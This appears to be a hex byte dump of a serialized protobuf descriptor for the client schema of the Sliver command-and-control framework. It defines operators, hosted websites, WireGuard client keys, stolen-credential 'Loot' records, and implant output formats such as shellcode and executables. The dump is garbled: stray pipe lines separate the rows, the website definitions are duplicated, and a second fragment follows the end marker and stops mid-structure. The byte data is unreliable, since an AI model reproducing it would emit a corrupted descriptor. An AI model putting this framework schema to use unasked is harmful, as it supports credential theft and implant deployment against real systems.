0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65,
|
||||
0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x5c, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12,
|
||||
0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12,
|
||||
0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e,
|
||||
0x61, 0x6d, 0x65, 0x12, 0x2e, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18,
|
||||
0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
|
||||
0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61,
|
||||
0x74, 0x6f, 0x72, 0x22, 0xc3, 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x1c, 0x0a,
|
||||
0x09, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09,
|
||||
0x52, 0x09, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x53,
|
||||
0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63,
|
||||
0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52,
|
||||
0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1f, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x18,
|
||||
0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
|
||||
0x2e, 0x4a, 0x6f, 0x62, 0x52, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x28, 0x0a, 0x06, 0x43, 0x6c, 0x69,
|
||||
0x65, 0x6e, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65,
|
||||
0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x52, 0x06, 0x43, 0x6c, 0x69,
|
||||
0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x01, 0x28,
|
||||
0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x06,
|
||||
0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x3d, 0x0a, 0x09, 0x4f, 0x70, 0x65,
|
||||
0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x12, 0x30, 0x0a, 0x09, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74,
|
||||
0x6f, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65,
|
||||
0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x09, 0x4f,
|
||||
0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x22, 0x36, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72,
|
||||
0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x01,
|
||||
0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x12, 0x0a, 0x04,
|
||||
0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65,
|
||||
0x22, 0x74, 0x0a, 0x0a, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12,
|
||||
0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61,
|
||||
0x74, 0x68, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70,
|
||||
0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74,
|
||||
0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01,
|
||||
0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x18, 0x0a, 0x07,
|
||||
0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x43,
|
||||
0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0xc1, 0x01, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69,
|
||||
0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04,
|
||||
0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65,
|
||||
0x12, 0x45, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03,
|
||||
0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65,
|
||||
0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2e,
|
||||
0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43,
|
||||
0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65,
|
||||
0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18,
|
||||
0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61,
|
||||
0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65,
|
||||
0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52,
|
||||
0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x40, 0x0a, 0x14, 0x57, 0x65,
|
||||
0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65,
|
||||
0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09,
|
||||
0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18,
|
||||
0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x22, 0xad, 0x01, 0x0a,
|
||||
0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65,
|
||||
0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3b, 0x0a, 0x08,
|
||||
0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f,
|
||||
0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74,
|
||||
0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2e, 0x43, 0x6f, 0x6e, 0x74,
|
||||
0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65,
|
||||
0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45,
|
||||
0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28,
|
||||
0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18,
|
||||
0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62,
|
||||
0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c,
|
||||
0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x40, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74,
|
||||
0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12,
|
||||
0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61,
|
||||
0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28,
|
||||
0x09, 0x52, 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x22, 0xad, 0x01, 0x0a, 0x07, 0x57, 0x65, 0x62,
|
||||
0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01,
|
||||
0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x3b, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74,
|
||||
0x65, 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, 0x69,
|
||||
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x2e, 0x43, 0x6f,
|
||||
0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e,
|
||||
0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74,
|
||||
0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20,
|
||||
0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75,
|
||||
0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
|
||||
0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76,
|
||||
0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x39, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73,
|
||||
0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73,
|
||||
0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70,
|
||||
0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69,
|
||||
0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, 0x0a, 0x0e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74,
|
||||
0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x22, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72,
|
||||
0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x53, 0x65,
|
||||
0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x6c,
|
||||
0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x02,
|
||||
0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76,
|
||||
0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74,
|
||||
0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x43, 0x6c,
|
||||
0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6c,
|
||||
0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6c,
|
||||
0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x22, 0x54, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e,
|
||||
0x74, 0x69, 0x61, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x73, 0x65, 0x72, 0x18, 0x02, 0x20, 0x01,
|
||||
0x28, 0x09, 0x52, 0x04, 0x55, 0x73, 0x65, 0x72, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x61, 0x73, 0x73,
|
||||
0x77, 0x6f, 0x72, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x61, 0x73, 0x73,
|
||||
0x77, 0x6f, 0x72, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x41, 0x50, 0x49, 0x4b, 0x65, 0x79, 0x18, 0x04,
|
||||
0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x41, 0x50, 0x49, 0x4b, 0x65, 0x79, 0x22, 0xa6, 0x02, 0x0a,
|
||||
0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x26, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20,
|
||||
0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c,
|
||||
0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, 0x0a,
|
||||
0x06, 0x4c, 0x6f, 0x6f, 0x74, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c,
|
||||
0x6f, 0x6f, 0x74, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20,
|
||||
0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x40, 0x0a, 0x0e, 0x43, 0x72, 0x65,
|
||||
0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28,
|
||||
0x0e, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65,
|
||||
0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x52, 0x0e, 0x43, 0x72, 0x65,
|
||||
0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70, 0x65, 0x12, 0x34, 0x0a, 0x0a, 0x43,
|
||||
0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32,
|
||||
0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x65, 0x64, 0x65,
|
||||
0x6e, 0x74, 0x69, 0x61, 0x6c, 0x52, 0x0a, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61,
|
||||
0x6c, 0x12, 0x2e, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x18, 0x06, 0x20,
|
||||
0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x46,
|
||||
0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70,
|
||||
0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32,
|
||||
0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52,
|
||||
0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, 0x0a, 0x07, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74,
|
||||
0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e,
|
||||
0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x04,
|
||||
0x4c, 0x6f, 0x6f, 0x74, 0x2a, 0x4a, 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f,
|
||||
0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c,
|
||||
0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44,
|
||||
0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c,
|
||||
0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03,
|
||||
0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f,
|
||||
0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54,
|
||||
0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a,
|
||||
0x2e, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0d, 0x0a, 0x09, 0x4c,
|
||||
0x4f, 0x4f, 0x54, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x13, 0x0a, 0x0f, 0x4c, 0x4f,
|
||||
0x4f, 0x54, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49, 0x41, 0x4c, 0x10, 0x01, 0x2a,
|
||||
0x4d, 0x0a, 0x0e, 0x43, 0x72, 0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x54, 0x79, 0x70,
|
||||
0x65, 0x12, 0x11, 0x0a, 0x0d, 0x4e, 0x4f, 0x5f, 0x43, 0x52, 0x45, 0x44, 0x45, 0x4e, 0x54, 0x49,
|
||||
0x41, 0x4c, 0x10, 0x00, 0x12, 0x11, 0x0a, 0x0d, 0x55, 0x53, 0x45, 0x52, 0x5f, 0x50, 0x41, 0x53,
|
||||
0x53, 0x57, 0x4f, 0x52, 0x44, 0x10, 0x01, 0x12, 0x0b, 0x0a, 0x07, 0x41, 0x50, 0x49, 0x5f, 0x4b,
|
||||
0x45, 0x59, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x03, 0x2a, 0x2d,
|
||||
0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f,
|
||||
0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52,
|
||||
0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x42, 0x2f, 0x5a,
|
||||
0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68,
|
||||
0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f,
|
||||
0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06,
|
||||
0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
|
||||
0x65, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52,
|
||||
0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e,
|
||||
0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65,
|
||||
0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05,
|
||||
0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c,
|
||||
0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e,
|
||||
0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x39, 0x0a, 0x08,
|
||||
0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2d, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73,
|
||||
0x69, 0x74, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69,
|
||||
0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x08, 0x57,
|
||||
0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x22, 0xa0, 0x01, 0x0a, 0x0e, 0x57, 0x47, 0x43, 0x6c,
|
||||
0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x22, 0x0a, 0x0c, 0x53, 0x65,
|
||||
0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09,
|
||||
0x52, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x2a,
|
||||
0x0a, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b,
|
||||
0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74,
|
||||
0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x43, 0x6c,
|
||||
0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09,
|
||||
0x52, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1a,
|
||||
0x0a, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09,
|
||||
0x52, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, 0x50, 0x22, 0x54, 0x0a, 0x0a, 0x43, 0x72,
|
||||
0x65, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x61, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x73, 0x65, 0x72,
|
||||
0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x73, 0x65, 0x72, 0x12, 0x1a, 0x0a, 0x08,
|
||||
0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08,
|
||||
0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x41, 0x50, 0x49, 0x4b,
|
||||
0x65, 0x79, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x41, 0x50, 0x49, 0x4b, 0x65, 0x79,
|
||||
0x22, 0xa6, 0x02, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x26, 0x0a, 0x04, 0x54, 0x79, 0x70,
|
||||
0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74,
|
||||
